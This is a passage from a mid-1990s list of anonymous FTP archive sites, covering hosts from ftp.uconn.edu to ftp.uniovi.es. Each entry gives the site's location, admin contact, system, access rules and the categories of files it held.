loon.ucc.uconn.edu +Admin : +Organ : University of Connecticutt, , Connecticutt, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.uconn.edu/ +Comment: +Files : Mac: TCP/IP, utils, virus; PC: MS-DOS (comm, editor, novell, TCP/IP, + util, virus, zip), OS/2(21servpak, archivers, comm, fonts, games, + GNU, ibm, info, misc, network, novell, os2fixes, shells, sysutl, + utl, unix, virus), Windows(mail, msapps, novell, util, virus, + winsock); Unix (Sun) + +Site : ftp.udel.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list; Perry.Rovers@kub.nl +Alias : louie.udel.edu +Admin : staff@louie.udel.edu +Organ : University of Delaware, , Delaware, EE & CIS dept. +Server : +System : Unix +URL : ftp://ftp.udel.edu/ +Comment: try to avoid our busy hours: 10:00-18:00 weekdays. + user 'ftp' can be used instead of 'anonymous'; file + transfers are logged with your hostname and e-mailaddress; + this server understands how to query identservers and will + often determine your address and host regardless of what + you enter; please refrain from using games that poll our + ftp server +Files : Amiga; arrl_papers; arrl_7 papers; BBS; Beavis and Butthead; grope; + highball; hu; info-minix; Internet; KA9Q; maps; midi; misc; mmdf; + music; nbstime; nsfnet; ntp; packet drivers; PC NFS; + portal; RFCs; rose; stdwin; supermodels; thebox; udelnet; USA + +Site : ftp.uga.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : harold@uga.edu (Harold Pritchett); Perry.Rovers@kub.nl +Alias : dns3.uga.edu; server.uga.edu +Admin : wsg@uga.cc.uga.edu +Organ : University of Georgia, Athens, Georgia, General FTP library +Server : +System : Unix (Ultrix, DECstation 3100) +URL : ftp://ftp.uga.edu/ +Comment: this site needs a valid DNS reversion (i.e. if user anonymous fails + try again in a couple of minutes) +Files : GNU; Mac; MS-DOS; OS/2; Unix; VMS + +Site : ftp.uic.edu +Country: USA +GMT : -6 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : tigger.cc.uic.edu +Admin : +Organ : University of Illinois - Chicago, Chicago, Illinois +Server : +System : Unix +URL : ftp://ftp.uic.edu/ +Comment: max. 10 users; transfers are logged +Files : adsm-sun-client; cls; etrain; mac-eudora-upgrade; nskit; + win-eudora-upgrade + +Site : ftp.uidaho.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : collinf@crow.csrv.uidaho.edu (Collin Forbes) +Alias : +Admin : +Organ : University of Idaho, Moscow, Idaho +Server : gopher.uidaho.edu +System : Unix +URL : ftp://ftp.uidaho.edu/ +Comment: Problem: Timeout (900 seconds) +Files : Electronic Green Journal (EGJ) + +Site : ftp.ujf-grenoble.fr +Country: France +GMT : +1 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : ujf.ujf-grenoble.fr [?] +Admin : +Organ : Universite Joseph Fourier (Joseph Fourier University), Grenoble, +Server : +System : Unix +URL : ftp://ftp.ujf-grenoble.fr/ +Comment: (un)compress and g(un)zip on the fly; transfers are logged +Files : [directory archive] + +Site : ftp.uji.es +Country: Spain +GMT : +1 +Date : 10-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : pereiii.uji.es +Admin : +Organ : Universidad Jaume I +Server : +System : +URL : ftp://ftp.uji.es/ +Comment: Problem: Timeout +Files : + +Site : ftp.uleth.ca +Country: Canada +GMT : -7 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : xi.uleth.ca +Admin : senetza@sigma.uleth.ca +Organ : University of Lethbridge, Lethbridge +Server : +System : Unix +URL : ftp://ftp.uleth.ca/ +Comment: alias is due to change soon +Files : comet; Kerberos; LaTeX; Solar (lots of solar related info); + tech-reports + +Site : ftp.ulg.ac.be +Country: Belgium +GMT : +1 +Date : 30-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : aix1.segi.ulg.ac.be, gopher.ulg.ac.be +Admin : +Organ : Universite de Liege (University of Liege), Liege, SEGI +Server : +System : Unix (IBM AIX) +URL : ftp://ftp.ulg.ac.be/ +Comment: sorry, no ` on the e in postings +Files : french; ISO8859; Latin-1 + +Site : ftp.um.es +Country: Spain +GMT : +1 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : afrodita.um.es +Admin : +Organ : University of Madrid, Madrid +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.um.es/ +Comment: +Files : doc; Linux; Mac; multimedia; PC; projects; Unix + +Site : ftp.umcs.maine.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : gandalf.umcs.maine.edu +Admin : +Organ : University of Maine, Orono, Maine, CS dept. +Server : +System : Unix +URL : ftp://ftp.umcs.maine.edu/ +Comment: all files in incoming will be purged or moved to a more permanent + location after 1 month; NO COMMERCIAL SOFTWARE ALLOWED +Files : Bulgaria; cshelper; docs; gopher; HAM-radio; HazMat database; + MS-DOS; SIGraph; WISR + +Site : ftp.umd.umich.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : wc4986@writer.yorku.ca (Jennifer Ugarte) {posting} +Alias : cw-u01.umd.umich.edu +Admin : root@tiamat.umd.umich.edu +Organ : University of Michigan, Ann Arbor, Michigan +Server : +System : Unix +URL : ftp://ftp.umd.umich.edu/ +Comment: being set up, bear with us; /pub/graphics/gif/comics; tar and gzip + on the fly +Files : Doom; FRP; graphics; Mac; MS-DOS; MUD; Red Dwarf material + (gifs/lyrics/scripts etc.); Sandman/Death Gallery; sound; text; + Unix; Windows + +Site : ftp.umiacs.umd.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : +Alias : skippy.umiacs.umd.edu +Admin : +Organ : University of Maryland, , Maryland +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.umiacs.umd.edu/ +Comment: directory: /pub/NeWS; transfers are logged +Files : BIND; biocomp; HyperNews; multiagent; ONRrept; peyote; SUGstuff; + Sun-fixes; um-dissertation + +Site : ftp.uml.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : hermes.uml.edu, romulus.uml.edu, ftp.ulowell.edu +Admin : oneill@cs.uml.edu (Brian 'Doc' O'Neill) +Organ : University of Massachusetts - Lowell, Lowell, Massachusetts +Server : +System : Unix +URL : ftp://ftp.uml.edu/ +Comment: formerly known as ftp.ulowell.edu; max. 50 users +Files : Babylon-5; comp.binaries.ibm.pc archive & submissions; graphics; + MS-DOS games and demo's (mirrored on ftp2.uml.edu); .CMF and .ROL + sound files; Netrek for VMS; news; Philips; SISAL; STU; vis94 + +Site : ftp.umu.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : news.umu.se +Admin : ftp@ftp.umu.se +Organ : Umea University, Umea, UMDAC +Server : +System : Unix +URL : ftp://ftp.umu.se/ +Comment: transfers are logged; max. 10 users; compress, gzip and tar on the + fly +Files : docs (bicycle, C++, cookbook, Internet, security, style-guide, + thesis, winsock); Mac (abalone, archie, chat, eudora, finger, + gopher, maX500, newswatcher, sniff, system7tuneup, talk, wais, + xferit); PC (anti-virus, archers, binhex, dos 6.2, Eudora, gobbler, + html, hytelnet, Logo, packet drivers, PC TCP, POPmail, skrivare, + swix, trumpet, winhttpd, windows, word 6.0a); security (several + security utils: cops, passwd+, portmap, rexecd, shadow_login, + skey, tcp_wrapper); Unix; WWW; X.500 + +Site : ftp.uncc.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : unccsun.uncc.edu +Admin : +Organ : +Server : +System : +URL : ftp://ftp.uncc.edu/ +Comment: pub appears to be empty [see README in / ?] +Files : coe + +Site : ftp.und.ac.za +Country: South Africa +GMT : 0 +Date : 21-Aug-94 +Source : MODERXX.ZIP; Perry.Rovers@kub.nl +Alias : owl.und.ac.za +Admin : ftp@owl.und.ac.za +Organ : University of Natal - Durban, Durban, Natal +Server : +System : Unix +URL : ftp://ftp.und.ac.za/ +Comment: max. 10 users; transactions are logged; descriptive ls/dir command +Files : csdmedia (Comp. Services publications); entertainment; idl; listings + of other anon ftp sites; mirrors: cica, FreeBSD, garbo.uwasa.fi, + selected directories from ftp.microsoft.com, XFree86; MS-DOS; + MS-Windows 3; OS/2; UND; Unix + +Site : ftp.undernet.org +Country: USA +GMT : -7 +Date : 30-Oct-94 +Source : csamsi@clark.net (Caesar Samsi) {posting} +Alias : sci.dixie.edu +Admin : +Organ : Dixie College, , , Center of Excellence +Server : +System : Unix +URL : ftp://ftp.undernet.org/ +Comment: max. 15 users; transfers are logged +Files : IRC: WSIRC; Mac; Netscape-RS6000; PC; Undernet; WWW + +Site : ftp.une.edu.au +Country: Australia +GMT : +10 +Date : 29-Sep-94 +Source : old ftp-list +Alias : grivel.une.edu.au +Admin : gordon@grivel.une.edu.au +Organ : University of New England - Armidale, Armidale, New South Wales +Server : +System : Unix +URL : ftp://ftp.une.edu.au/ +Comment: +Files : Adobe (AFM, Acrobat, Applications, PPD); Amateur Radio Topics + (Ham-radio: aus.radio, buffalo, f6bb-utils, funet, icom, kiss, + Mac-files, Pacsat, Rose, UCSD); DEC (DEC-Info); FreeBSD; GNU; + Gopher (Unix); NCSA (Mac, PC, Telnet, Web); Novell (Netwire); + Otherrealms + +Site : ftp.uni-augsburg.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-server List +Alias : infoserv.cc.uni-augsburg.de, rzsun2.rechenzentrum.uni-augsburg.de +Admin : softadm@uni-augsburg.de +Organ : Universitaet Augsburg (University of Augsburg), Augsburg, CC +Server : +System : Unix +URL : ftp://ftp.uni-augsburg.de/ +Comment: activity is logged; tarring, compressing, zooing and (g)zipping on + the fly; max. 10 users +Files : AIX; Amiga; Atari ST; GNU; info; Linux; Mac; math; MS-DOS; OS/2; + parallel; TeX; Unix; Windows + +Site : ftp.uni-bayreuth.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-server List +Alias : btr0x1.hrz.uni-bayreuth.de +Admin : ftp@hrz.uni-bayreuth.de +Organ : Universitaet Bayreuth (University of Bayreuth), Bayreuth, CC +Server : +System : +URL : ftp://ftp.uni-bayreuth.de/ +Comment: transfers are logged; max. 20 users +Files : Cray; CT-Magazin; de.indexes; GNU; HP; IX-Magazin; Khoros; lrz; + mail; math; MS-DOS; network; TeX; Unix; VMS; X-Windows + +Site : ftp.uni-bielefeld.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : hermes.hrz.uni-bielefeld.de, unibi.uni-bielefeld.de, + unibi.hrz.uni-bielefeld.de +Admin : root@hrz.uni-bielefeld.de +Organ : Universitaet Bielefeld (University of Bielefeld), Bielefeld +Server : +System : Unix +URL : ftp://ftp.uni-bielefeld.de/ +Comment: directory: /pub/tex +Files : HPUX; RFCs; TeX mirror from ftp.uni-stuttgart.de + +Site : ftp.uni-bremen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : wowbagger.pc-labor.uni-bremen.de, wowbagger.zfn.uni-bremen.de +Admin : holly@pc-labor.uni-bremen.de (Holger Duerer), + svh@pc-labor.uni-bremen.de (Sven Hapke), gi@pc-labor.uni-bremen.de + (Gerald Imboden) +Organ : Universitaet Bremen (University of Bremen), Bremen, PC lab +Server : +System : Unix +URL : ftp://ftp.uni-bremen.de/ +Comment: transfers are logged; max. 20 users between 06:00-18:00 weekdays, + 100 outside these hours and in weekends +Files : Amiga; Atari; GNU (mirror of prep.ai.mit.edu); neural-nets; TeX; + X11 + +Site : ftp.uni-duesseldorf.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : ftpadm@uni-duesseldorf.de +Organ : Universitaet Duesseldorf (University of Duesseldorf), Duesseldorf, + Heinrich Heine Universitaet +Server : +System : +URL : ftp://ftp.uni-duesseldorf.de/ +Comment: +Files : convex; driver; driver; GNU; gopher; HP; Linux; Mac; magazines; + MS-DOS; MS-Windows; NetBSD; Novell Netware; SGI; Sinix; Sun; TeX; + X11 + +Site : ftp.uni-duisburg.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : du9ds4.uni-duisburg.de, du9ds4.fb9dv.uni-duisburg.de +Admin : ftp@ftp.uni-duisburg.de +Organ : Universitaet Duisburg (University of Duisburg), Duisburg +Server : +System : Unix +URL : ftp://ftp.uni-duisburg.de/ +Comment: please restrict access to non-business hours i.e. NOT 09:00-17:00 + local time, in case of abuse you will be rejected in the future; + real hostname and transfers are logged +Files : 386BSD; CAD; compiler; ghost; GNU; graphics; HP48; lang; Linux; + MS-DOS; OS/2; source files; TeX; Unix; Windows 3; X11 + +Site : ftp.uni-erlangen.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : medusa.uni-erlangen.de, medusa.informatik.uni-erlangen.de, + faui43.informatik.uni-erlangen.de +Admin : ftp@informatik.uni-erlangen.de +Organ : Friedrich Alexander Universitaet Erlangen (University of Erlangen), + Erlangen (near Nuernberg), Informatik IV (Betriebssysteme) +Server : +System : Unix +URL : ftp://ftp.uni-erlangen.de/ +Comment: please avoid the busy hours: Monday-Friday from 08:00-18:00 MET; + all transfers are logged with email- and hostaddress; limit of + 60 users or 200 users dependent on time; server can tar and + compress a file or directory on the fly +Files : Adobe; Amiga; Aminet; Atari; audio; Auth; Aviator; beam; BSD; C++; + docs; doc.epix; du-s; duu; ebs; faces; flexfax; Fun; games; GNU; + graphics; HP28; HP48; IERS; IMMD2; IMMD4; inventories; IP; IRC; ISO; + iwi4; Khoros; Lemacs; Linux (sunsite.unc.edu); Lisp; Mac; media; + Modula3; Motorola; Multimedia; net; news; Newton; papers; PC; + pc-freeware; pictures; psion3; snm; snmp; sounds; Sun; TeX; + utilities; wafe; WAIS; X11; X11R6; X25; X400; XBtx; XCept; ZyXEL + +Site : ftp.uni-frankfurt.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : diane.rbi.informatik.uni-frankfurt.de +Admin : +Organ : Universitaet Frankfurt (University of Frankfurt), Frankfurt, + CS dept. +Server : +System : +URL : ftp://ftp.uni-frankfurt.de/ +Comment: +Files : + +Site : ftp.uni-freiburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ftp.ruf.uni-freiburg.de, sun2.ruf.uni-freiburg.de +Admin : ftp@ftp.uni-freiburg.de, mawa@sun1.ruf.uni-freiburg.de + (Martin Walter) +Organ : Universitaet Freiburg (University of Freiburg), Freiburg +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.uni-freiburg.de/ +Comment: successor of sun8.ruf.uni-freiburg.de +Files : Atari; Benchmark; docs; dos; languages; net; sites; Sun; X11 + +Site : ftp.uni-halle.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : mlucom3.urz.uni-halle.de +Admin : knauff@urz.uni-halle.de +Organ : Universitaet Halle (University of Halle), Halle, CC +Server : +System : +URL : ftp://ftp.uni-halle.de/ +Comment: +Files : + +Site : ftp.uni-hamburg.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : rznext01.rrz.uni-hamburg.de +Admin : ftp-admins@rznext01.rrz.uni-hamburg.de +Organ : Universitaet Hamburg (University of Hamburg), Hamburg, CC +Server : +System : +URL : ftp://ftp.uni-hamburg.de/ +Comment: +Files : NeXT (mirror from ftp.informatik.uni-muenchen.de); TCL + +Site : ftp.uni-jena.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : hpux.rz.uni-jena.de, fsuj02.rz.uni-jena.de +Admin : ftp-adm@rz.uni-jena.de +Organ : Universitaet Jena (University of Jena), Jena, CC +Server : fileserv@uni-jena.de, subject: 'get ' (no quotes), + is the complete pathname of the requested file, starting with + ftp/, files are sent as shar-archives, big archives will be split +System : +URL : ftp://ftp.uni-jena.de/ +Comment: +Files : GNU; Linux; MS-DOS; TeX; Unix; X11 + +Site : ftp.uni-kl.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : admin; Deutsche Anonyme FTP-Server List +Alias : +Admin : ftpadm@uni-kl.de +Organ : Universitaet Kaiserslautern (University of Kaiserslautern), + Kaiserslautern +Server : +System : Unix +URL : ftp://ftp.uni-kl.de/ +Comment: directories: /incoming/acorn: Upload directory, /pub/acorn; + also other directories for: amiga, apple2, atari, bio(logy), + game-solutions, informatik, linux, mac, novell, pc, sun-patches + and unix; put uploads in the appropriate incoming directory + with descriptive filename and e-mail the admin; transfers are + logged; successor of minnehaha.rhrk.uni-kl.de +Files : Acorn; Amiga; AMInet; amoeba; Apple II; Astro; Atari; Athena; bio; + BSD-sources; docs; EMBL; FUN; game-solutions; GNU; gopher; graphics; + ham-radio; helios; HP48; humor (incl. real programmers don't use + Pascal); Info-Mac (sumex-aim.stanford.edu); info KL; informatik; + Internet; IRC; ISIS; languages; Linux; lists; Mac; Mach3; Minix; + MS-DOS; netinfas; netlib; NeXT; Novell; panda; Pegasus; RFCs; + sat.met; security; Sun; TCP/IP; tech-reports; TeX; Transputer; + Unix; vektorproz; vendor; X11R5 + +Site : ftp.uni-koeln.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ftp.rrz.uni-koeln.de, aix370.rrz.uni-koeln.de, rs1.rrz.uni-koeln.de +Admin : archives@rrz.uni-koeln.de +Organ : Universitaet Koeln (University of Cologne), Cologne +Server : +System : Unix +URL : ftp://ftp.uni-koeln.de/ +Comment: directory: /pc; mostly mirrors from the US; transfers are logged +Files : Acorn files; dos editor; ftp-dirs; GIF; GNU; graphics; mach; Mail; + MS-DOS; MS Windows (ftp.cica.indiana.edu); net; programming; RFCs; + shells; TeX; Unix; usenet; VMS; X Windows + +Site : ftp.uni-leipzig.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : server2.rz.uni-leipzig.de, ftp.rz.uni-leipzig.de +Admin : +Organ : Universitaet Leipzig (University of Leipzig), Leipzig +Server : +System : +URL : ftp://ftp.uni-leipzig.de/ +Comment: max. 10 users +Files : + +Site : ftp.uni-linz.ac.at +Country: Austria +GMT : +1 +Date : 30-Oct-94 +Source : +Alias : alijku06.uni-linz.ac.at +Admin : +Organ : Johannes Kepler Universitaet (Johannes Kepler University), Linz +Server : +System : Unix +URL : ftp://ftp.uni-linz.ac.at/ +Comment: Austrian sites only +Files : + +Site : ftp.uni-lj.si +Country: Slovenia +GMT : +1 +Date : 13-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : pomlad.uni-lj.si +Admin : +Organ : University of Ljubljana, Ljubljana +Server : +System : VAX/VMS running Multinet +URL : ftp://ftp.uni-lj.si/ +Comment: default directory SOFT$:[ANONYMOUS] +Files : Astro; PC-SOFT (ANU docs, en, gen, GIF, gopher, graphics, Linux, + Mac, mgs, NCSA, OS/2, OS/2 beta, PC, riva, SCO, sesam, systems, TeX, + text, Ultrasound, usenet news, ZyXel); Vlado; VMS (numerous files) + +Site : ftp.uni-mainz.de +Country: Germany +GMT : +1 +Date : 24-Jan-94 +Source : Deutsche Anonyme FTP-Server List +Alias : gundel.zdv.uni-mainz.de +Admin : ftpadmin@goofy.zdv.uni-mainz.de +Organ : Universitaet Mainz (University of Mainz), Mainz +Server : +System : Unix +URL : ftp://ftp.uni-mainz.de/ +Comment: transfers are logged; server can zip, zoo, tar, tar.z and tar.gz; + successor of minnie.zdv.uni-mainz.de +Files : amd; Amiga; Atari; Athena; batch; chaos; GNU; images (gif, jpg, + NASA); internet (alex, archie, dos, gopher, hyper-g, isode, kermit, + kurs, news, security, sendmail, wais, www); JOGUbits; Linux; Mac; + misc (autostereogramme, ebooks, ZyXel); MS-DOS (antivirus, catalog, + CIP, DOS, Novell, Windows); muwiinf; NetBSD; news-archive + (alt.comp.periphs.mainboard.asus, comp.benchmarks, + comp.lang.perl, comp.lang.tcl, comp.os.386bsd.announce, + comp.os.386bsd.apps, comp.os.386bsd.bugs, comp.os.386bsd.development, + comp.os.386bsd.misc, comp.os.386bsd.questions, comp.os.linux, + comp.os.linux.admin, comp.os.linux.announce, comp.os.linux.development, + comp.os.linux.help, comp.os.linux.misc, comp.os.research, + comp.os.vms, comp.parallel, comp.parallel.pvm, comp.sources.misc, + comp.sources.postscript, comp.sources.reviewed, comp.sources.unix, + comp.sources.x, comp.sys.dec, comp.sys.hp, comp.sys.hp.apps, + comp.sys.hp.hardware, comp.sys.hp.hpux, comp.sys.hp.misc, + comp.sys.hp.mpe, comp.sys.sgi.admin, comp.sys.sgi.announce, + comp.sys.sgi.apps, comp.sys.sgi.bugs, comp.sys.sgi.graphics, + comp.sys.sgi.hardware, comp.sys.sgi.misc, comp.sys.sun.admin, + comp.sys.sun.hardware, comp.unix.aix, comp.unix.bsd, + comp.unix.osf.misc, comp.unix.osf.osf1, comp.unix.solaris, + comp.unix.ultrix, de.comp.os.linux, gnu.emacs.sources, + jogu.announce, jogu.bull, jogu.linux, jogu.net, jogu.talk, jogu.vms, + stgt.general, stgt.net, stgt.uni-s.general, stgt.uni-s.rus, + vmsnet.sources, vmsnet.sources.d, vmsnet.sysmgt); OS/2; SCO; + security; Tcl/Tk; TeX; X11 + +Site : ftp.uni-mannheim.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : darum.uni-mannheim.de, warum.uni-mannheim.de +Admin : ftpadm@rz.uni-mannheim.de +Organ : Universitaet Mannheim (University of Mannheim), Mannheim, CC +Server : +System : +URL : ftp://ftp.uni-mannheim.de/ +Comment: +Files : XFree86 (mirror of ftp.xfree86.org, source and some binaries) + +Site : ftp.uni-marburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : bunsen.hrz.uni-marburg.de, rsrz01.hrz.uni-marburg.de +Admin : +Organ : Universitaet Marburg (University of Marburg), Marburg, CC +Server : +System : +URL : ftp://ftp.uni-marburg.de/ +Comment: +Files : + +Site : ftp.uni-muenster.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : von-neumann.uni-muenster.de, switek.uni-muenster.de, + von-neum.uni-muenster.de +Admin : bjarne@math.uni-muenster.de +Organ : Westfaelische Wilhelms-Universitaet, Muenster +Server : +System : Unix +URL : ftp://ftp.uni-muenster.de/ +Comment: Local access restrictions on some files (see README); + Open 24 hours; old ftp-list [delete] +Files : 386-BSD; BSD-Manuals; BSD-Networking; Atari; Amiga; CommonLisp-Std; + ct; DCF77; editors; f2c; Fractals; ftp-list; games; graphics; HP; + Kerberos; languages; linguistik; Linux; Mac; math; micros; mods; + Monty Python; MS-DOS; MUEZ; net; news; Novell; OS/2; PLZ; RFCs; + rtf2LaTeX; Scheme 7.0; scm; share; sounds; springer-tex; Sun; + TCP/IP; TeX; Unix; WI; Windows3; X11R5; X11R6 + +Site : ftp.uni-oldenburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : aix01.hrz.uni-oldenburg.de +Admin : ftpadmins@hrz1.pcnet.uni-oldenburg.de +Organ : Universitaet Oldenburg (University of Oldenburg), Oldenburg, CC +Server : +System : +URL : ftp://ftp.uni-oldenburg.de/ +Comment: +Files : Amiga; mods + +Site : ftp.uni-paderborn.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List; MODERxx.ZIP +Alias : athene.uni-paderborn.de +Admin : ftp@uni-paderborn.de (Thomas Thissen) +Organ : Universitaet Paderborn (University of Paderborn), Paderborn +Server : ftp-mail@uni-paderborn.de, mail-server@uni-paderborn.de +System : Unix +URL : ftp://ftp.uni-paderborn.de/ +Comment: Open 24 hours; limit of 15 users +Files : Amiga; Atari; German C!T and iX Magazin; mirrors: Cica + (ftp.cica.indiana.edu), Linux (sunsite.unc.edu) Simtel Software + Repository, in /msdos), ftp.uml.edu (/pcsoft/msdos/games), OS/2 + (ftp-os2.cdrom.com), Tcl (unix/tcl from ftp.cs.berkeley.edu); Unix + +Site : ftp.uni-passau.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : forwiss.uni-passau.de, ftp.fmi.uni-passau.de, + ftp.forwiss.uni-passau.de +Admin : archive@forwiss.uni-passau.de +Organ : Universitaet Passau (Passau University), Passau +Server : +System : Unix (DEC-server 5810) +URL : ftp://ftp.uni-passau.de/ +Comment: max. 10 users; available through WWW as + http://www.fmi.uni-passau.de/forwiss/archive/uebersicht.html +Files : Amiga; aminet; docs; IBM PC; Linux; Mac; MS-DOS; Unix + +Site : ftp.uni-regensburg.de +Country: Germany +GMT : +1 +Date : 07-Jun-94 +Source : hubert.feyrer@rz.uni-regensburg.de; Deutsche Anonyme FTP-Server List +Alias : rrzs3.rz.uni-regensburg.de +Admin : ftp@rzi.ngate.uni-regensburg.de +Organ : Universitaet Regensburg (Regensburg University), Regensburg, CC +Server : gopher,www +System : Unix (Sun IPC, SunOS 4.1.3) +URL : ftp://ftp.uni-regensburg.de/ +Comment: this machine also runs news, gopher and an experimental WWW server +Files : Amiga; Atari; docs; GNU; MS-DOS; NetBSD Amiga; OS/2; Unix; Windows + (ftp.cica.indiana.edu) + +Site : ftp.uni-siegen.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : si-nic.hrz.uni-siegen.de, carlo.hrz.uni-siegen.de +Admin : ftpadmin@hrz.uni-siegen.de +Organ : Universitaet Siegen (University of Siegen), Siegen, CC +Server : +System : +URL : ftp://ftp.uni-siegen.de/ +Comment: +Files : NeXT (mirror from ftp.informatik.uni-muenchen.de) + +Site : ftp.uni-stuttgart.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : info2.uni-stuttgart.de, ftp.rus.uni-stuttgart.de, + info2.rus.uni-stuttgart.de +Admin : ftp@rus.uni-stuttgart.de +Organ : Universitaet Stuttgart (University of Stuttgart), Stuttgart +Server : ftpmail@info2.rus.uni-stuttgart.de, mail-server +System : Unix +URL : ftp://ftp.uni-stuttgart.de/ +Comment: max. 100 users; successor of rusmv1.rus.uni-stuttgart.de, + rusinfo.rus.uni-stuttgart.de, ftp.rus.uni-stuttgart.de; + uploads to /incoming/ and send mail to the responsible + person mentioned in the /incoming/README file or the admin +Files : AFS to archive.umich.edu; Amiga; Atari; audio; bibliography; + comm; doc; graphics; info; Linux (sunsite.unc.edu); math (Fortran); + org; parallelrechner; programming; rus; sci-fi; systems [?]; Tex + (mirrored on ftp.switch.ch and ftp.uni-bielefeld.de); + Textprocessing; Unix; VAX/VMS; Windows (ftp.cica.indiana.edu); X11; + X-Windows; XFree86 (mirror from ftp.xfree86.org) + +Site : ftp.uni-trier.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : rzftp.uni-trier.de, rzbsdi01.uni-trier.de +Admin : ftpadmin@ftp.uni-trier.de +Organ : Universitaet Trier (University of Trier), Trier, CC +Server : +System : +URL : ftp://ftp.uni-trier.de/ +Comment: +Files : Atari; journals; Mac; OS/2; PC; Unix; Usenet; VMS + +Site : ftp.uni-tuebingen.de +Country: Germany +GMT : +1 +Date : 19-Feb-95 +Source : Deutsche Anonyme FTP-Server List +Alias : softserv.zdv.uni-tuebingen.de +Admin : ftpadm@ftp.uni-tuebingen.de +Organ : Eberhard-Karls-Universitaet Tuebingen (University of Tuebingen), + Tuebingen, Zentrum fuer Datenverarbeitung +Server : http://www.uni-tuebingen.de/ +System : Unix +URL : ftp://ftp.uni-tuebingen.de/ +Comment: server can (de)compress and tar +Files : GNU; i386; Linux (mirror ftp.cdrom.com (Slackware), + ftp.uni-clausthal.de (SLT), ftp.uni-erlangen.de, ftp.funet.fi + (kernel), sunsite.unc.edu); parallel; SimTel [empty]; sources; sw + (software project of the BelWue and the ZDV); WWW; X11; ZDV (afs, + fa, mst, tcsh, tuba, ufa) + +Site : ftp.unibw-muenchen.de +Country: Germany +GMT : +1 +Date : 10-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : archsrv.rz.unibw-muenchen.de +Admin : ftpadmin@ftp.unibw-muenchen.de +Organ : , Muenchen +Server : +System : +URL : ftp://ftp.unibw-muenchen.de/ +Comment: +Files : + +Site : ftp.unibo.it +Country: Italy +GMT : +1 +Date : 15-May-94 +Source : +Alias : +Admin : +Organ : University of Bologna, Bologna +Server : +System : Unix +URL : ftp://ftp.unibo.it/ +Comment: +Files : + +Site : ftp.unige.ch +Country: Switzerland +GMT : +1 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : un2sun1.unige.ch +Admin : hugen@divsun.unige.ch +Organ : University of Geneva, Geneva, Services Informatique (CC) +Server : +System : Unix +URL : ftp://ftp.unige.ch/ +Comment: max. 25 users; transfers are logged +Files : docs; Mac; MS-DOS; Novell; PGP; piaget; RFCs; security; soft; UNIGE; + Unix + +Site : ftp.unige.it +Country: Italy +GMT : +1 +Date : 15-May-94 +Source : Perry.Rovers@kub.nl +Alias : sun.unige.it +Admin : +Organ : University of Genoa, Genoa +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.unige.it/ +Comment: +Files : graphics; InfoTools; PC; security; util + +Site : ftp.uniovi.es +Country: Spain +GMT : +1 +Date : 10-Sep-94 +Source : admin +Alias : telva.ccu.uniovi.es, 